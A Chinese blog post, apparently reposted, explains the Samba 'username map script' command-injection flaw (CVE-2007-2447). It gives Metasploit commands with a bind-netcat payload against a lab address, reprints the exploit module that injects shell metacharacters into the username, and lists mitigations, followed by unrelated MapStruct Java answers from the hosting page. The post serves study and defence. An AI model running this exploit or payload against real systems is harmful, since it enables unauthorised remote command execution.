一个古老的漏洞username map script,翻出来说说

最近在学Metasploit×××测试,所以写一下这篇博客,希望能帮助到在学或者遇到了这个漏洞×××的小伙伴们~~

Username map script 是什么?

Username map script是Samba协议的一个漏洞,ID为CVE-2007-2447,属于远程命令注入漏洞,主要影响Samba的3.0.20到3.0.25rc3 版本。

这个bug最初是针对匿名电话进行报告的到SamrChangePassword()MS-RPC功能组合中与“用户名映射脚本”smb.conf选项(不是默认启用)。经过Samba开发人员的进一步调查,结果如下确定问题更广泛和影响远程打印机和文件共享管理。根原因是传递通过MS-RPC提供的未经过滤的用户输入在调用定义的外部脚本时调用/ bin / sh
在smb.conf中。但是,与“用户名映射脚本”不同,漏洞,远程文件和打印机管理脚本需要经过认证的用户会话。

漏洞生命周期

2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
2007年5月10日:向vendor-sec邮件列表发布通知。
2007年5月14日:公开漏洞信息。

使用Metasploit利用

方式一:通过控制台

#进入metasploit控制台
msfconsole

#选择usermap_script×××模块
use exploit/multi/samba/usermap_script

#选择bind_netcat×××载荷
set payload cmd/unix/bind_netcat

#设置目标地址
set RHOST 10.10.10.254

#设置目标端口
set RPORT 139

#执行×××
exploit

方式二:通过msfcli
msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=10.10.10.254 E

源代码

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SMB::Client

  # For our customized version of session_setup_no_ntlmssp
  CONST = Rex::Proto::SMB::Constants
  CRYPT = Rex::Proto::SMB::Crypt

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba "username map script" Command Execution',
      'Description'    => %q{
          This module exploits a command execution vulnerability in Samba
        versions 3.0.20 through 3.0.25rc3 when using the non-default
        "username map script" configuration option. By specifying a username
        containing shell meta characters, attackers can execute arbitrary
        commands.
        No authentication is needed to exploit this vulnerability since
        this option is used to map usernames prior to authentication!
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-2447' ],
          [ 'OSVDB', '34700' ],
          [ 'BID', '23972' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
          [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true, # root or nobody user
      'Payload'        =>
        {
          'Space'    => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              # *_perl and *_ruby work if they are installed
              # mileage may vary from system to system..
            }
        },
      'Targets'        =>
        [
          [ "Automatic", { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 14 2007'))

    register_options(
      [
        Opt::RPORT(139)
      ])
  end

  def exploit

    connect

    # lol?
    username = "/=`nohup " + payload.encoded + "`"
    begin
      simple.client.negotiate(false)
      simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)
    rescue ::Timeout::Error, XCEPT::LoginError
      # nothing, it either worked or it didn't ;)
    end

    handler
  end
end

解决方法

方案一:限制并发连接的数量
当smbd作为守护进程(而不是inetd)启动时,Samba能够限制并发连接的数量。'max smbd processes'smb.conf选项允许管理员定义在任何给定时间点运行的smbd进程的最大数量。客户端连接到服务器的任何进一步尝试都将被拒绝。

方案二:使用基于主机的保护
在许多Samba安装中,最大的威胁来自您的直接网络之外。默认情况下,Samba将接受来自任何主机的连接,这意味着如果您在直接连接到Internet的主机上运行不安全版本的Samba,则可能会特别容易受到×××。
其中在这种情况下,最简单的修复是使用“主机允许”和“主机否认”桑巴smb.conf配置文件中,只允许从主机特定范围的访问您的服务器的选项。一个例子可能是:

hosts allow = 127.0.0.1 192.168.2.0/24 192.168.3.0/24
主机拒绝= 0.0.0.0/0
以上只会允许来自'localhost'(您自己的计算机)和两个专用网络192.168.2和192.168.3的SMB连接。客户端发送第一个数据包后,所有其他连接都将被拒绝连接。拒绝将被标记为“不听名称”错误。

方案三:使用接口保护
默认情况下,Samba将接受它在系统上找到的任何网络接口上的连接。这意味着如果你有一条ISDN线路或PPP连接到互联网,那么Samba将接受这些链路上的连接。这可能不是你想要的。

您可以使用以下选项更改此行为:
hosts allow = 127.0.0.1 192.168.2.0/24 192.168.3.0/24
hosts deny = 0.0.0.0/0
它告诉Samba只监听名称以'eth'开始的接口上的连接,如eth0,eth1,以及名为'lo'的回送接口。您需要使用的名称取决于您使用的操作系统。在上面我使用了Linux上的以太网适配器的通用名称。
如果您使用上述方法,并且有人尝试通过称为'ppp0'的PPP接口与主机建立SMB连接,则它们将获得TCP连接拒绝答复。在这种情况下,根本不会运行Samba代码,因为操作系统被告知不要将连接从该接口传递到任何进程。

方案四:使用防火墙
许多人使用防火墙拒绝访问他们不希望暴露在网络之外的服务。这可能是一个非常好的主意,但我建议将它与上述方法结合使用,以便即使防火墙由于某种原因未处于活动状态而受到保护。

如果您正在设置防火墙,那么您需要知道允许和阻止哪些TCP和UDP端口。Samba使用以下内容:
UDP / 137 - 由nmbd
UDP / 138使用 - 由nmbd使用
TCP / 139 - 由smbd使用
TCP / 445 - 由smbd使用
最后一个很重要,因为许多旧的防火墙设置可能没有意识到,因为近年来这个端口只被添加到协议中。

方案五:使用IPC $共享拒绝
如果上述方法不合适,那么您还可以在最近发现的安全漏洞中使用的IPC $共享上放置更具体的拒绝。这允许您提供对其他共享的访问,同时拒绝可能不可信的主机访问IPC $。

要做到这一点,你可以使用:
[ipc $]
hosts allow = 192.168.115.0/24 127.0.0.1
hosts deny = 0.0.0.0/0
这将告诉Samba,除了列出的两个地方(本地主机和本地子网)外,IPC $连接不能从任何地方被允许。与其他股份的连接仍将被允许。由于IPC $共享是唯一可匿名访问的共享,因此可以为不知道用户名/密码的×××者提供一定程度的保护。
如果你使用这种方法,那么客户端在尝试访问IPC $共享时将被授予“拒绝访问”的回复。这意味着这些客户端将无法浏览共享,也可能无法访问其他一些资源。
我不推荐这种方法,除非由于某种原因不能使用上面列出的其他方法之一。

方案六:升级Samba
个人认为是最好的方法~~~~

转载于:https://blog.51cto.com/13444271/2125364

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: MapStruct是一个Java用于自动实现Java对象映射的工具库。下面是一个简单的使用案例: 假设你有两个Java类,一个是Person类,一个是PersonDTO类,它们有一些相同的属性,但是名称不同,例如Person类有firstName属性,而PersonDTO类有name属性。你可以使用MapStruct来自动生成一个PersonMapper接口,并实现将Person类的对象转换为PersonDTO类的对象的方法。 首先,你需要在pom.xml文件中添加MapStruct的依赖: ``` <dependency> <groupId>org.mapstruct</groupId> <artifactId>mapstruct</artifactId> <version>1.4.0.Final</version> </dependency> ``` 然后,你可以在PersonMapper接口中使用@Mapper注解,并声明一个用于将Person类转换为PersonDTO类的方法: ``` @Mapper public interface PersonMapper { PersonDTO toDTO(Person person); } ``` 最后,你可以使用MapStruct提供的注解@Mapping来指定属性之间的映射关系: ``` @Mapper public interface PersonMapper { @Mapping(source = "firstName", target = "name") PersonDTO toDTO(Person person); } ``` 现在,你就可以使用PersonMapper来转换Person类的对象到PersonDTO类的对象了: ``` PersonMapper mapper = Mappers.getMapper(PersonMapper.class); PersonDTO dto = mapper.toDTO(new Person("John", "Doe")); ``` dto的name属性将会是"John"。 ### 回答2: MapStruct是一款基于注解的Java Bean映射工具库,它能够帮助我们自动生成Bean之间的映射代码,简化了开发过程。下面以一个简单的示例来演示MapStruct的使用。 假设我们有两个Java Bean,一个是Student类,包含学生的姓名和年龄属性;另一个是StudentDTO类,包含学生的姓名和年龄属性的字符串表达形式。我们需要将Student对象转换为StudentDTO对象。 首先,我们需要在pom.xml文件中添加MapStruct的相关依赖。 ```xml <dependency> <groupId>org.mapstruct</groupId> <artifactId>mapstruct</artifactId> <version>1.4.2.Final</version> </dependency> ``` 接下来,我们需要创建一个Mapper接口,用于描述Bean之间的映射关系。 ```java import org.mapstruct.Mapper; import org.mapstruct.Mapping; @Mapper public interface StudentMapper { @Mapping(source = "name", target = "name") @Mapping(source = "age", target = "age") StudentDTO toDto(Student student); } ``` 在Mapper接口中,我们使用@Mapper注解标识这是一个MapStruct的Mapper接口。然后使用@Mapping注解指定属性之间的映射关系。 然后,我们需要在pom.xml中添加以下插件配置,用于在编译时自动生成Mapper的实现类。 ```xml <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.1</version> <configuration> <source>1.8</source> <target>1.8</target> <annotationProcessorPaths> <path> <groupId>org.mapstruct</groupId> <artifactId>mapstruct-processor</artifactId> <version>1.4.2.Final</version> </path> </annotationProcessorPaths> </configuration> </plugin> </plugins> </build> ``` 最后,我们可以通过以下代码将Student对象转换为StudentDTO对象。 ```java Student student = new Student("Tom", 20); StudentDTO studentDTO = StudentMapper.INSTANCE.toDto(student); System.out.println(studentDTO.getName()); // 输出:Tom System.out.println(studentDTO.getAge()); // 输出:20 ``` 以上就是一个简单的MapStruct的使用案例,通过配置Mapper接口和插件,我们可以方便地实现Bean之间的映射转换。 ### 回答3: MapStruct是一个Java注解处理器,可用于简化对象映射的编写工作。下面是一个简单的MapStruct工具库的使用案例: 假设我们有两个实体类 `User` 和 `UserDto`,它们具有相同的属性但可能有不同的字段命名。我们希望能够将一个User对象转换成对应的UserDto对象。 首先,我们需要定义一个Mapper接口,用于定义转换规则。在这个接口中,我们使用`@Mapper`注解标注该接口,并指定`componentModel`为`"spring"`。 ```java import org.mapstruct.Mapper; import org.mapstruct.Mapping; import org.mapstruct.factory.Mappers; @Mapper(componentModel = "spring") public interface UserMapper { UserMapper INSTANCE = Mappers.getMapper(UserMapper.class); @Mapping(source = "username", target = "name") UserDto userToUserDto(User user); } ``` 在这个Mapper接口中,我们使用`@Mapping`注解来指定字段的映射关系。`source`属性指定源对象的字段,`target`属性指定目标对象的字段。在这个例子中,我们将`username`字段映射为`name`字段。 接着,我们可以在其他地方使用这个Mapper来进行转换操作。例如: ```java User user = new User(); user.setUsername("John"); user.setPassword("123456"); UserDto userDto = UserMapper.INSTANCE.userToUserDto(user); ``` 通过调用`UserMapper.INSTANCE.userToUserDto()`方法,我们就可以将User对象转换成对应的UserDto对象。 以上就是一个简单的MapStruct工具库的使用案例。使用MapStruct可以帮助我们简化对象之间的映射操作,避免手动编写大量的映射代码,提高开发效率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值